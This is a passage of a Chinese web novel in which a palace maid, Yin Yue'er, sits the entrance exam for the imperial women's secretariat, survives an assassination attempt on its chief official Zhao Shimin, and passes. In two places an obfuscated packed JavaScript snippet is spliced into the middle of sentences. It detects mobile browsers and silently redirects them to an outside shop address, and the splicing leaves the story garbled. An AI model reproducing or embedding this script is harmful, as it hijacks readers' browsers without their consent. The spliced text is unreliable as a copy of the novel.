所以,尚书内省女官因其身份的敏感导致自由必须受到限制,为保证尚书内省与外朝减少牵连,避免内外共谋或蒙蔽天子,尚书内省开始从类似科举的选拔女子变为教育有资质的幼年宫女,进一步封闭了与外界的往来。 如今要成为尚书内省的女官,绝无可能年岁十五六七参加考试入选,尚书内省只接受宫内十二岁以下的女孩,在通过简单的选拔后,成为生员,在睿思宫就读,经过培养,再如同真正的科举一般考选与落汰,最终择选出有资格成为女官的内进士,之后的任命、晋升抑或罢黜,就与外朝大多类似。 “这真真是拿石头块子磨出琉璃球子,费老大劲就串上一个珠子。” 王宝姐姐如此精准评价这一过程。 她还不忘提醒尹月儿:“虽说这是个上进的路,但也不是睡觉翻身那么容易的事儿。听说好些个在睿思宫里做了生员读了书的小宫女日后被裁下来,连宫里都不能留,统统赶出宫去不管死活。” “最差结果就是出宫,大不了我去找朱大人去,娘俩踏踏实实过日子。”虽然尹月儿觉得不至于在自己最擅长的读书尚栽跟头,但还是感激担忧自己前程的王宝姐姐,出言宽慰。 王宝对自己这个小小忘年交也是挺有兴味,拍着腿大笑:“我早说过你这丫头就是有自己的心胸,欺负都不是白挨的,得了,我就不说扫兴的话了,你到睿思宫外边,只说自己想读内学,自然会有女官来先问问你的学问,我打听过,就是问问读过什么书,要你写写自己的名字,差不多就能收了。可是这就是个开始,拿得就是个许考的信儿,真正的考试还在后头呢,往后我就没打听来,得你自己趟趟水才晓得了。” 说完这些,王宝又压低声音,带着一丝好奇凑近尹月儿:“对了,你去睿思宫那边,记得帮我查看个事儿。” “什么事情,姐姐吩咐就是了。” “听说……尚书内省的女官都是秃子。她们和咱们不一样,不束发插簪带头饰的,跟外头读书的爷们儿一样,严严实实裹着头巾,所以宫里头有时候也叫她们秃头宫女来着。你替我留意留意,看看她们是不是传言里没得头发?” 王宝的好奇心很是奇怪,但人家帮着自己打听了这么多,尹月儿只能无奈笑着接受这一古怪的请求。 于是当她第一次见到尚书内省的一位低阶女官走出宫门站在自己面前时,行礼过后,她抬起头,认真观察这位年纪二十岁上下,面色严肃又年轻的女官是否真的有秃头的嫌疑,果然这位女官无有这个时代女子愿意描长示美的鬓角,脸颊两侧毫无头发的痕迹,头上裹着皂色头巾,一丝不苟,看不出里面是否有头发的痕迹。同样不同于普通宫女的,是她们的穿着,既不是女子宫装,也非太监吏袍,而是一件通体藻绿色不带任何绣纹花色的上领宽袖长袍,素净儒雅,一眼就看得出和普通宫人的身份有别。 “庶杂院杂役宫女尹月儿见过女官,今日叨扰,是为请试内廷生员,还请女官劬劳。” 原本听到是庶杂院的宫女,裹头女官还有些迟疑,但待眼前的女孩言毕,谈吐得体不说,用词也十分考究,女官便自腰间囊袋取出笔册,扭开腰挂的半个巴掌大严封紫铜滴墨盒,淡淡的墨香立即萦绕在尹月儿鼻尖。 持册悬腕,女官微微颔首示意:“好,你先答我三个问题。” “女官请问。” “可能识字写字?” “会识也能写。” “可读过开蒙的书籍?” “略读过三百千千,又读过《蒙求》,只是未曾进学,不能甚解。” 看不出女官是否满意这个回答,她面静如水,略略点头,头也不抬问了第三个也是最后一个问题:“家中亲眷几人?” 最后这句没头没尾,和学识与能力全然无关。尹月儿知道这命苦的女孩家中已无有父母,就一年迈的祖母,祖孙相依为命,为着自己久病之躯无以为继,往后孙女怕是没得依靠,正好朱司正来问,索性求了她带走孙女,使得未来生活有靠。 于是她老实回答:“家乡山野仅有祖母在世。” 女官一一记录在纸上,再让尹月儿画押。 这很奇怪,又不是交待罪行,怎么还要画押?尹月儿心中疑窦,却知不应多问,伸出拇指蘸墨后按在方才女官记录的纸张上。 “好了,你回去罢。”女官看过画押,声调没有任何起伏。 这就结束了? 看着女官闪身回去宫门内再无影踪,尹月儿也只能返回。 她没有先回去庶杂院,免得让人说自己溜闲,尹月儿先去了王宝所在的内工库,今日活少,王宝点了要用的货物后就闲着,她确认了自己关心的秃头问题后,本心满意足,可又听了尹月儿关于考教之事的转述,不免十分惊奇:“这便过了?只问了问题,也没要你上手写俩字看?” 尹月儿乖巧摇头:“说完就走了,没让我动笔。” “这真是邪门,这样的就能去了?”王宝也只是跟人打探了大概齐,至于更深的,她也不知道多少。 “姐姐不是说,这只是个问询,后头还有考试,想来取试的时候会一并在卷子上答,识不识字会不会写字,作答的时候是瞒不住的。”尹月儿说道。 “是这个理儿,但也不说有没有选中,能不能考试,光叫人心里头没底,这些女官,真是坏透了。”王宝最不耐烦别人吊自己胃口,推己及人这样答道,“罢了,横竖都是一刀,反正都去了,开弓也没回头箭,你再待会儿回去庶杂院,别人问起你就说被我叫来跑腿,刘公公那个杂毛也不好多说什么。那些个自己不上进还眼红别人用功的牲口,自己成事不足,败起别人的事来却全是能耐。” 尹月儿点头谢过:“谢谢姐姐提点,阎王好过小鬼难缠,道理我都省得。” 回到庶杂院一时无事,三四天过去,也不见睿思宫有什么动静。尹月儿人微不察,除非直接来找她,其余消息也进不来她的耳朵里。不过这几天宫里头好多风言风语,连她也听见些前朝的风波,说是太后雷霆震怒之下,下狱了好几个朝廷命官,这些人被查出在大行皇帝国孝其间行为不检,其中竟还有原本为小皇帝开蒙预备的讲师,惹得朝野蜚声四起,宫里也议论 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说话的四个小宫女正与尹月儿一并擦洗宫里预备秋天用的上百个铜熏笼,早秋各个宫室外面都要挂两个,里面燃足香药,一是防早秋的蚊虫,二是帝京入秋多雨,潮闷味恼人,香药大多能醒神缓气,不让宫里头憋着股难闻的潮味儿。 要让老旧铜器光可鉴人,要用细棉布蘸醋和粗盐的混合物慢慢擦拭,再涂一层油润养器的蜂蜡,这是个慢功夫活儿,依照往年的时令,宫里九月末用熏笼,八月就得开始折腾,但今年八月过半,刘公公才指使人从工库搬挪过来铜器收拾,已是晚了许久,又只指派了五个人干货,进度很慢。 不止如此,尹月儿还发现,擦洗铜器的白醋倒是给了他们五人挺多,粗盐却少的可怜。盐比醋值钱,庶杂院是干杂活粗活的地方,能捞的外快少之又少,刘公公好不容易有个大宗能贪没,是一点都不手软。 少放盐清洁效果极差,只能靠人力反复搓擦,勉强才算看得过眼。 “这得擦到什么时候啊……公公就给咱们这么一捏盐,炖菜都不够……” “可别乱说话,刘公公这两天也在气头上呢。”说话的宫女四下看看,确定没人才低声道,“听说他挨了尚书内省新尚书一顿训斥,好像是……送什么东西迁延了,结果罚了俸禄。” 这话题尹月儿可爱听,这场谈话她大多时候都在保持沉默,这时候才开口:“尚书内省的新尚书,似乎姓赵?” “好像是,眼下她可是太后跟前的大红人,又跟着教导陛下,可风光了,得罪哪处也不敢得罪她啊。” 正说着话,几人忽然听见有脚步声靠近,便都赶忙闭嘴,只手上忙活不停。 不一会儿,刘公公怒容满面走进院里,五人赶忙起身行礼,刘公公面色实在难看,目不斜视打算往里头走,却看见了低着头的尹月儿,他仿佛无名火起,上去一脚踢飞了装醋的小陶罐,溅得四下立即都是酸味。 “有人看见你往睿思宫去,说,是不是你这贱人告得密?” 尹月儿心下一沉,她不知道什么事要赖在自己头上,也可能只是刘公公借题发挥,但他真要发火,自己恐怕要遭殃。 刘公公见到尹月儿就想起朱司正,顿时火上浇油,大声喝道:“来人!给我掌这小贱人的嘴!你跟睿思宫说了什么,给我老实交代!” 两个小太监冲上前来,刚拿住尹月儿的胳膊,却听得一个陌生的声音传来: “尚书内省的事,什么时候轮到外人过问?” 尹月儿抬起头,说话的不是别人,正是当日在睿思宫门前面试自己的女官。 刘公公惊得一个字也说不出来,赶忙撤到一旁行礼,女官并不看他,也不移步,只举起手里一折叠好的纸,用尹月儿来到这个世界所听过的最平静的声音说道:“内省宫谕,庶杂院众人听宣,杂役宫女尹月儿,八月十五卯正,选试睿思宫。” 说完,她看向尹月儿:“收拾收拾东西,跟我来吧。” 5. 第四章 第四章 刘公公抬起头,嘴张开手掌宽,眼也睁得不能再圆,但他还没昏头,立即理顺眉目,在女官居高临下的目光逼视下低头应是。尹月儿趁机挣脱两个小太监,走到女官面前礼道:“劳烦大人照应。” 女官似乎很满意尹月儿得体的礼仪和言行,点头的幅度比初见之日略大了些,却也仍旧面无表情,只对仍跪着的刘公公说:“人我领走了。” 说罢转身离开,整个过程快得惊人,小院里无人反应过来。 尹月儿的行李不过三五样贴身衣物,另加小砚台一个,竹笔一支,卷包整理好约是心里默念从一到十的功夫。她把朱司正送的书存放在约定好可靠的隐秘地方,留给了学习小组的其他姐妹,自己则跟着尚书内省的女官走出庶杂院。 尚书内省的女官看似平和没有架子,但实际上却惜字如金、一板一眼,充满不真切的距离感,与所有人拉开天堑一般的距离走在最前,尹月儿还不够成年人长短的腿紧紧快步才能勉强跟上。 这道理尹月儿明白,上辈子有些领导也会用这个方式和基层保持一定的“人际”空间。 但该介绍的情况,出于责任,女官并不马虎。 “尚书内省选试虽不似科举隆重,却也是为国抡才。只是这才是可造之材,可培之梓,经过几次筛考选试方能得用,绝非你踏入睿思宫就一步登天。今次只是头一次,如同郡下诸县县学的童试,观才具还是其次,重要是向学之心和德行智识,你须认真作答,无有不耐不敬,听懂了么?” 尹月儿怀疑这是一套固定的说辞,眼前这个年轻的女官背诵痕迹有些重了,大概她也是第一次干招生的活。 “是,劳烦大人告知。” 大概是尹月儿的回答过于标准有礼,简洁大方,女官不觉放慢脚步多看她一眼:“尚书内省里我远远担不起‘大人’这个称呼,你叫我何女官即可。” “不知”就是新人最好的保护色,况且两个人脚没迈进睿思宫,外面叫错一两句无伤大雅,还能得到正确的指正,尹月儿再度恭敬称是。 何女官大概不超过二十五岁,面旁润圆,眉眼很是温文,在从不斜视的目光里,看得出有一丝紧张的意味。她刻意板起脸来,还是少了在宫内其他地方女官身上常见的冷冽练达,可她举止大方,从容不迫,也见尚书内省对女官作为官员而非宫婢的培养绝对成功。 寻常小宫女必然会被女官的架势骇住,然而尹月儿心理成熟度严重超过瘦不伶仃的豆芽菜身形,稍稍言语接触,就隐约瞧出了何女官不是破绽的破绽。她欲意了解更多有效信息,斟酌词句后开口道:“何女官,我只知道尚书内省可以读书识字,却不知要有什么规矩,不想头次去就失了礼数,还请女官赐教一二。” 似乎感觉到身旁女孩为了跟上自己几乎小跑,说话也略有喘意,何女官放慢脚步,但言语却一板一眼无有松弛:“若你德行学识皆可入门,自会有师范告知。” 如此,尹月儿也知许多事或许不便外言,要待到正式考选成为宫生后才能告知,便不再多问。 何女官却仿佛是意识到自己言语略有生硬,而眼前到底是个孩子,走过两条御街甬道后,她倒率先打破沉默:“你言辞得体,无须担忧其他,今日睿思宫内好好休息,明日专心入考。” 这已算是足够温馨的关怀,尹月儿仰头一笑:“多谢何女官。” 何女官的嘴角也略略松弛,但也不过一瞬,她就又紧绷得目不斜视,仿佛自知失态,再不言语,只是一路快走,带着尹月儿来到了睿思宫外。 “今日你先不能入宫,外间后排是平日侍奉尚书内省宫人的住处,你拿着这张告纸,会有人给你安排床铺吃食,切记好好休息,勿要耽误明日入考。” 尹月儿行礼拜谢,目送何女官迈入睿思宫内,这才离开。她觉得何女官最后一句并非秉公办事,似是真正的叮嘱,明天或许会有严苛的考察。 睿思宫在整座皇宫西侧最深处,和几处要紧宫殿一样,都在外有排房供宫人居住,尹月儿拿着自己的行李走去,果然有年岁颇大的宫女正张罗送被褥进屋,见了尹月儿,验过告纸,她和颜悦色指了个小宫女引去屋内,和尹月儿原本的住处一样,这也是二十人一个排屋的大间,里头已经有几个穿着不同的宫女在收拾行头。 尹月儿的床靠着门,她谢了宫女,接过自己的被褥,简单铺好,屋内的女孩们也是待选尚书内省的各处宫女,有几人略看了看她,又回到暗自紧张的神色里,不再瞟过来好奇的目光。也有年纪稍长,心性沉稳的女孩并不东瞧西望,只低着头,坐在自己的床褥上。 “好饿,咱们酉时那顿饭还有着落么?” 不知谁问了一句,尹月儿听得声音似有些微妙的熟悉,扭头看去,却是个陌生面孔的小宫女,身量匀称体态慵懒,扶着腮,满面愁容。 “必然是有的,一会儿就能传饭了。”一个年纪稍长的宫女似是认识她,柔声解答。 陌生小宫女的愁容终于被这句肯定回答驱散,她蹭地跳起来,仿佛已经预备好冲向膳房。 然后,尹月儿的目光就与那小宫女汇到一处,很奇怪,自己对她没有任何印象,却仿佛在哪听过这个声音,那小宫女瞧过来的眼神,似乎也仿佛见过她一般。 “酉时传饭,都过来吧。”这时,安排她们住处的宫女姐姐笑着走进来招手,到底都是小姑娘,转眼间,屋子里头就空了。 那个声音熟悉的小宫女跑在头一个,尹月儿回过神时,早就不见踪影。 吃饱喝足,是夜,却能听出好多人睡不着觉。毕竟明日许是改变命运的一日,辗转也属人之常情。思及自己这两世的来时和去路,尹月儿睡得格外安沉,晨起时,也先叠整齐被褥,再到院中站好。 这次,那位和善的宫女姐姐却不见影踪,等待众人的是个约四十岁上下,面容严板,目如寒霜的内省女官。与何女官不同,她身穿绛色圆领袍,头戴皂色夏纱官帽,露出掺杂银白的头发,只是她也没有鬓角,两颊侧边利落如同尹月儿见过的禁军牙将,甚至气度更令人胆寒。 四下鸦雀无声,绛袍女官目观众人站好,以目而巡,方才开口:“今日尚书内省初择裁选,尔等均已准试,切记笔落成言,上得对君恩浩荡,下能应慎独之德,不可妄视、妄动、妄言,乱尚书内省所秉太祖之圣训、圣德文皇后之教诲、坏士人学子所承孔孟之礼法。听懂了么?” 大概是有些女孩被过于严肃的气氛和只能听懂一半的措辞吓到了,听懂了的回应参差不齐,绛袍女官也不在此点过多着墨,命身后两个女官一前一后,领着预备考试的女孩们鱼贯而出。 此地离睿思宫几步之遥,稍转两个弯,面前便是宫门矗立,尹月儿曾来过此地,却不曾细细观见,其余女孩也在此时任由好奇略略压过紧张不安,探看这座宫人口中除去五大殿外最为神秘的一座殿宇。 睿思宫匾额相较其他宫室漆面略旧,字迹不同,引导女官在匾下停住,领着三十余女孩正襟而拜,后才告知,此乃太祖之母秦太后亲提,初次见则拜,往后寻常出入,也务必着帽履、正衣冠。 入宫内,先是一敞院落,正殿前与其说宽敞,不如说肃穆,殿侧左右各一石象,各种一不知名茂盛巨树,三人环抱恐不足,粗枝茂叶高过殿上青青碧瓦,满荫两进,靠左树下有一碑亭,正中的碑文还来不及细看,女官便领着一行人三拜行礼,恭敬跪叩。 “此乃太祖所立,为尚书内省明法正身。”女官说这几个字时分外郑重,声调微扬,“‘内外同纲,持国乃臣’,意思是成为尚书内省女官,身份如同朝堂臣工,而非宫内女眷奴婢,指责是辅佐天子治国理政,上承社稷,下应黎民,奏对天子以臣自居,纲纪礼义一同外朝。” 大多数女孩子对这一套说辞很难理解,尹月儿却听得明白,原来这就是朱司正务必要自己好好做人的地方。 她心中已被触动,再往前走,四处瞻望之余再存一分敬畏之心。若说此地宫室殿宇,倒未必有何不同,只是铜缸格外多,她推断,必然是有许多重要文件收藏在此,需要备水防火。 入内后,正殿之上又是一匾额,女官再度止步,声音抑扬顿挫:“此匾由太祖亲题‘晖紫耀微’,显表尚书内省辅弼帝王之职。”两侧的对联她并没解释,也没给女孩子们观瞻的空闲,只朝前走,大家亦步亦趋不敢漫步随心。 众人经过正殿却未做停留,再朝前过第二道院落才算停下,次殿已有对应人数的桌椅成对摆放,又有四名女官在列,待人到齐后,关门落窗,升烛燃灯,殿内静可闻针落。 尹月儿仰视殿上匾额,辅世安民四字映入眼帘,她旁边的女孩不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037458|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知是紧张还是怕了,在一片阒然中吸了吸鼻子。 片刻,殿后有衣袍下摆的磨擦声窸窣入耳,一袭紫色缓缓来到众女孩面前当中。 “拜见内尚书。” 方才领着众人十分骄傲的女官此刻低下头,揖手长拜,她用的不是宫中寻常参见有官职的太监尚宫的礼数,小宫女们却都按照寻常礼数盈盈而拜。 穿紫色官袍的女子在短促的沉寂后才开口:“奉天承命,谨遵太后懿旨,开尚书内省试。” 她声音低低缓缓,不甚洪亮,却字词清晰如珠,断句庄凝,无有迟滞,听得人心头一激。 “太后圣明。” 众女官同声齐呼,跪叩长拜。 小宫女们慌忙而从。 紫衣女官想必就是太后任命的赵内尚。尹月儿对此人多有猜度,来不及抬头细看分明,就听那平和低缓的声音再度下令:“传卷,燃香。” 这么快就开考了?本以为还会有些场面话要讲,可流程却出乎意料的迅速,四名原本分站在殿内四角的青衣女官很快将三十余名小宫女引至就近座位,点卯认名,确认身份后分发考卷。 只是尹月儿来到这里后,第一次做熟悉之事,她被安排在第二排正中,几步开外的赵内尚已然入座,她则手握卷子,激动大大多过紧张。但凡考过试的人都知道,拿到卷子的第一步是先看看有没有印刷缺漏,左右一张纸,上面是手写的工整字迹,五道题目,并次而列。 短短时间,尹月儿已在这些日子通读了所有能读到的开蒙书籍,她飞快辨认出,五道题目依次出自《三字经》、《百家姓》、《千字文》、《千家诗》和《蒙求》。 题目简单,多是默写,对她来说不在话下,但她心中却起了层疑雾:这题目正是那天何女官问过她读了什么依次对应的每个回答,一本书一道题,果真巧合? 有些女孩已开始研墨,细微的簌簌触碰着耳际,尹月儿排开桌上备好的答题纸张,一边研墨,一边再次审题,待研墨完毕,提笔落下: “凡训蒙,须讲究;详训诂,明句读。为学者,必有初……” 头三字有,后三字填,四句话后,回答完毕。 第二题来自《百家姓》,也是背诵填写,尹月儿除了控笔对还没适应毛笔书写的仍有困难,写得手腕发紧,至于答题内容倒不在话下。 第三题是《千字文》,难度略增,不过“川流不息,渊澄取映。容止若思,言辞安定。”几句也是她背过且滚瓜烂熟的。 第四题默写任意一首千家诗,无有任何困难。 尹月儿飞快作答,墨用光了,她抬手去再磨开一点,听见周遭纸张声似是百十只鸟雀落在自己肩头,略略以余光去看,不由心头微震——什么?怎么有人已经答完了? 前与侧的四五名小宫女已然誊录完毕,恂恂地摩挲纸张,女官走到她们面前一一收走,还有人桌前早没了答纸,又被气氛压得忐忑焦灼,只能微微在脚不碰地的高椅上不安地扭动小小的身体。 自己应该没这么差劲吧?大半人都已经答完,她还没誊抄? 上辈子不管多难的卷子,从来都是考场里头三名写完的真卷王,剩下时间或是查缺补漏,或是复验斟酌,总之没有一次超出她对考试本身的预期。 此刻情形让尹月儿备受打击,她一面觉得大概是真的不擅长毛笔书写和繁体字造成的困境,一面惭愧方才略有自满的心境,马上沉下心,把最后一道《蒙求》的题目写出。 窸窣声愈发多了,直到领着众人进入尚书内省的女官轻咳,考场才重回鸦雀无声。 终于全都写完,尹月儿抬头看去,自己竟是整个考场最后一名交卷的考生。 上辈子她哪受过这份儿考验,诛心至极!果然还是学得不够好,她心中叹息,示意女官近前收卷,谁知走来收她卷子的竟是当日面试并带她出庶杂院的何女官。 尹月儿惊讶地觉察,何女官从来无波的眼中此时竟有一丝笑意。 二人目光短暂交汇之际,却不等得尹月儿也回一瞬带笑意的目光。 “赵时敏!你背师求荣,以怨报德,禽兽不如!” 在小宫女的惊叫声中,尹月儿被一股力量撞开在地,身侧一道如虹的影子掠过,那是手执闪着寒光刀刃的红衣女官向着最前的内尚书赵时敏冲去。 6. 第五章 第五章 出于本能,尹月儿第一反应是捏住自己辛苦作答的卷子并同时闪避,一只手臂自身后环住她,绿色的身影转瞬之际将她护在身后,正是也被掼倒在地的何女官。 二人都已跌坐歪斜,周遭还有其他女孩也滚作一团,哭叫不止,手握凶器的绛袍女官已至最前,直逼面色苍白的赵内尚。 “内尚大人小心!来人啊!” 不知是谁喊了声,赵时敏如梦方醒,自椅子上弹起,可已是回天乏术,双脚来不及挪动半步。 血腥味骤然炸开,众人再度惊叫,但这血的味道并不来自绛衣女官的目标赵时敏,而是为尹月儿分发卷子的绿衣女官斜里冲出,阻住了危险。 她牢牢握住穿透自己的刀刃,绿色的官袍胸前像是弄湿了一块,越染越红。 像所有动物一样,尹月儿被同类散发出的血腥味本能警告,她揽住何女官和扑在自己身边的其他女孩,使出全身力气朝后用力躲避。 禁军冲入殿内,分开刀刃连接的两人,按住行刺的绛衣女官,她挣扎着却无力撼动,似知大势已去,行刺宣告失败,声音愈发癫绝尖锐:“赵时敏!你个畜生!杨内尚是你的老师啊!你还记得当年也是在这里,她看了你的卷子,许你入尚书内省,你才有了今时今日的人模狗样吗?在这之前,你不过是庶杂院的一条狗!你忘恩负义,为了那个妖妇,竟出卖恩师,你良心何在?圣贤书都读到狗肚子里了吗?你说话啊!你……” 咯嘣一声打断凄厉啼嚎,禁军中领头的牙将收回原本捏住红衣女官下颚的手,待咒骂变作不成调的痛苦呜呼之声,才恭敬向面色苍白的赵内尚行礼:“内尚大人受惊了,太后英明睿断,令我等谨防逆太子遗党造事,特在此护卫睿思宫与内尚周全,奉太后口谕,尚书内省选材兹事体大,不得有误,内尚请继续主持。” 说罢,他命人押着只能痛苦呜咽的绛衣女官,抬起地上已死的绿衣女官,离开了次殿。 殿内重新恢复沉寂。 一行面色比宫内人好不到哪里去的洒扫宫女鱼贯而入,颤抖着手,擦干血迹,摆正桌椅,然而没有应考的小宫女敢回到重新布置的座位里去。 事情的发生和结束都过于惊悚和迅速,连其余尚书内省的女官都来不及反应,许久,何女官侧头看了看尹月儿和自己身后的其他女孩,低声问了句:“有没有人受伤?” 尹月儿摇了摇头。 自始至终,赵内尚一动未动,尹月儿看着她缓缓闭上眼,待苍白的面颊略回了血色,才再度睁开。 “谨遵太后懿旨,选试继续。” 她平静地宣布。 在尹月儿面前的何女官抖得十分厉害,被她保护在身后的女孩陆续发出低低近乎呜咽的哭声,赵内尚看了过来,她似乎很是满意何女官保护考生的举动,微微颔首,紧接着,那双沉静的眼睛便看向了尹月儿和她手中紧紧握着的卷子上。 尹月儿做此事是出于经验。过去一辈子各种高压的考试里,她不是没见过考场忽然失去理智的考生自弃崩溃,撕破自己和他人的卷子,固然这种特殊情况有标准的处置流程,允许无辜考生重新涂卡抑或抄录一分完好的答案,但却十分影响应试状态,作为改变此生命运的考试,尹月儿本能地保护着自己的努力和未来。 “是,请内尚大人落座。” 何女官声音微颤,却仍勉力起身,强撑镇定,与其余女官一并清点人数和对应已交的试卷,看看是否有被毁的卷子需要重新誊写,确定全部安好,她才轻轻舒气。 这时她的面前出现被一双手捧着的皱皱巴巴的卷子。 “女官,这需要另抄一份么?” 尹月儿不清楚规矩,低声询问。 “不必了,呈上来。” 回答她的是坐在正当中的内尚书赵时敏。 何女官接过试卷,双手捧至她面前,赵时敏接过试卷,另一个绿衣女官不知从何处拿起一本藻绿色封皮的册子呈上来。 赵时敏看过卷子,翻了簿册,停在某一页看了须臾,向着何女官点头,最后放下尹月儿的卷子,未置一词,起身离开次殿。 尹月儿不知接下来如何审阅,何女官却已经与其他女官收拢好全部卷子,命人引着女孩们出去到次殿前等候。 入殿时还是焦灼与不安,此时女孩们大多唯有惊魂未定了。 在让人惴惴的等待中,巳时将半,日光渐有燥意,尽管古木生荫,女孩们站在睿思宫内苑仍有些微闷热不适,不过只要想想方才发生了什么,那股热意便兀自滋生出一股沁凉和胆寒。 远远听着正殿外有禁军巡逻的盔靴交错声,闲着也是闲着,尹月儿思索起赵时敏内尚书和太子之死的关联。 行刺者正是引着她们进入睿思宫的绛衣女官,从官袍颜色来看,此人品级不低,年纪仿佛比赵时敏还大些,二人不大可能是同期的宫生,听绛衣女官话里话外的意思,想必赵时敏是前任杨内尚的门生,而她如此清楚考试情形,大概当年也是如同何女官一般的低级女官,从旁辅试。一个出卖老师求得荣华富贵,一个为同僚报仇轻生重义,似乎谁都有个人的理由,赵内尚无有半句辩解,尹月儿此时回想,觉得她的脸色其实看不出半点贪生怕死的意味,倒有些惊惧过后难言的悲凉。 不过最让尹月儿在意的是太后仿佛未卜先知般的懿旨,这其中…… “诶诶诶,你方才写了那么久,是在写什么?” 打断思绪的是熟悉的音色,尽管压得不能再低,还是透出清脆琅琅的亮意。 尹月儿看着和自己说话的女孩,她个子略高自己几分,正凑到自己身边,圆润的眼睛和音色一样明亮。 自己的的确确好像听过这声音,可尹月儿完全不记得见过这么个女孩。 “写卷子。” 尹月儿提到这个就有点来气,她自诩还算精于读书,没想到答题速度竟然是考试倒数,非常屈辱。 “我又不是瞎子!”女孩瞪眼看过来,但眼神却形不成任何怒意或不满,“我是问你,怎么你卷子题比我的多,要写这么久?” 尹月儿一愣:“你说什么?你的是几道题?” 女孩干净利落伸出一根食指竖在尹月儿眼前。 “列好。” 何女官不知什么时候已经从次殿走了出来,她命众人排好,女孩灵活得像个兔子,转瞬安静站到了尹月儿身后。 疑问戛然而止,赵时敏内尚书缓步而出,身后跟随另两个先前没有见过的红衣女官,一个已有明显的老态,一个却仿佛是这个的孙女辈,神色也更加骄傲。 “今日睿思宫选材入试已毕,以下宫女入选,听到名字留下,未能留名者会有人引你们离开。” 神色骄傲的年轻女官声如其人,动作利落展开一张未装裱的纸:“卢小玲、宋四娘、李芝、朱萍萍……” 尹月儿听到身后的女孩轻轻出了一口舒展的长气,只是不知源源不断自女官口中的名字哪个是她,很快,尹月儿听到了自己的名字。 “……尹月儿。以上人等,在此地不得走动,待令行事,其余人跟随何女官离开。” 被念到名字的有大概十三四人,一半以上的女孩没有通过考试,隐约有叹息和低低的憾泣声,何女官走过尹月儿身侧,未通过考试的女孩们低着头跟上,却有一人站在原地,红着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037459|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰起头看向赵内尚:“内尚大人,既然是选试,应该讲究公平,可为什么每个的题目是不一样的?” 此言一出,女孩们都错愕在原地。尹月儿和方才与自己说话的圆眼少女对视一眼,二人心中也有疑窦。 “大胆!” 宣读结果的红衣女官怒目圆睁,赵内尚却微抬右手,示意其不必多言,自己则用那并不洪亮的平静音色缓缓道:“初见录用你们名字之时,诸位女官还都问过你们读过什么书,可有此事?” 质问的女孩被这不大的声音威慑住,惊惧之余知道自己有所冒犯,却仍倔强着点点头算作回应。 “今日你们每个人的题目,不多不少,都是出自当日你们自己的回答中提及过的开蒙之书,你们报几本,便是几道题。这不止是测考你们的开蒙高低,更是看重你们是否耿直忠正。” 在赵内尚微微侧头示意后,年轻的红衣女官才上前一步,扬声道:“施彩仙,初问之日,女官问你读过什么书,你说三百千千你都已开蒙,并且以手印画押属实。可考卷四本各问一题,你却只答出了《三字经》的那句,莫不是为入睿思宫而故意夸大其词,有所隐瞒?” 厉声质问中,被叫出名字的女孩在羞惭与畏惧的夹击下哭出了声,最终,她和其他没有入选的人一道,被带离了睿思宫。 四下重回安静,赵内尚站在辅世安民的次殿匾额下,缓声道:“尚书内省掌承太祖遗训,辅弼帝王,宰佐国事,你们的言行不止要圣贤之书所教的智识,更要有至诚的言行,越是天子近前,越不能轻妄言行,更不能为了权位与私利,诓言诈语蒙蔽天子,指鹿为马。这是你们入睿思宫的第一课,也是此生务必牢记之信立。” 言毕,赵内尚似乎很满意众入选女孩的沉稳,她的脸上已看不出之前的惊怖,在以目光逡巡全场时,反倒有种奇异的和蔼。 年轻的红衣女官得到上司的示意,扬眉亮言:“今日之事,务必引以为戒,明日更名,早些休息,会有人安排你们的住处。” …… 终于结束考试,再入次殿,赵时敏独自望着面前原本躺着尸体的地方,何惟明走进来见此情形不敢叨扰,只是侧旁站立,许久后,赵时敏头也不回道:“都安排好了?” “回大人,遣出去的孩子已交给通进司,明日送出宫去。” “让人留心她们的行李和遣别的赏银,别让人借机贪没。” “是,明日下官再去跟看。” “新晋的宫生呢?” “通过入试的宫生都已带去学舍,还有……钱女官的尸首已被领走,太后尚未有新的旨意。” 何惟明没有等到任何吩咐,在她的回答后,是一段漫长的沉默,不知过了多久,她才重新听见赵内尚近乎丝线般无有波澜的声音。 “今日你护在身后那个姓尹的女孩……她从前是伎乐司贬到庶杂院的?” “回大人,宫人记档中是这样写的。” “她的卷子还在么?” 何惟明没料到赵内尚会提及此人此卷,快步至一旁取出卷子,双手递上:“大人,在这里,还未封档留存。” 赵时敏看着卷子,一言不发,何惟明思忖犹豫后决定一探究竟:“内尚大人觉得她是可造之材?” “现下倒也谈不上,只是觉得危及性命之时,她却下意识知道要护着文书档案,加上该答的都已答出,心性和功底都算不错。”赵时敏倦怠的神情终于透出一丝舒展,可越看手中褶皱的卷子,眉心越发往一块蹙,“就是这字……惟明,你是咱们这里年轻一辈中最精于书道的,习字的课业务必严格教导!字写成这样,成何体统!看得人火都大了。” 7. 第六章 第六章 在宫中,非年节或赏赐,能穿上新衣服的机会并不多。 女孩们看着面前一件件摆好的蟹壳青袍服,新鲜的畅意盖过了今日考场的惊魂未定,带她们来睿思宫内最后一排挟屋休息的女官告知这里将是众人今后住所后便离去,只留考试前见过的那位嬷嬷,笑着按字条将四人分入一间隔屋,最后分好衣衫,告知明日务必穿戴整齐。 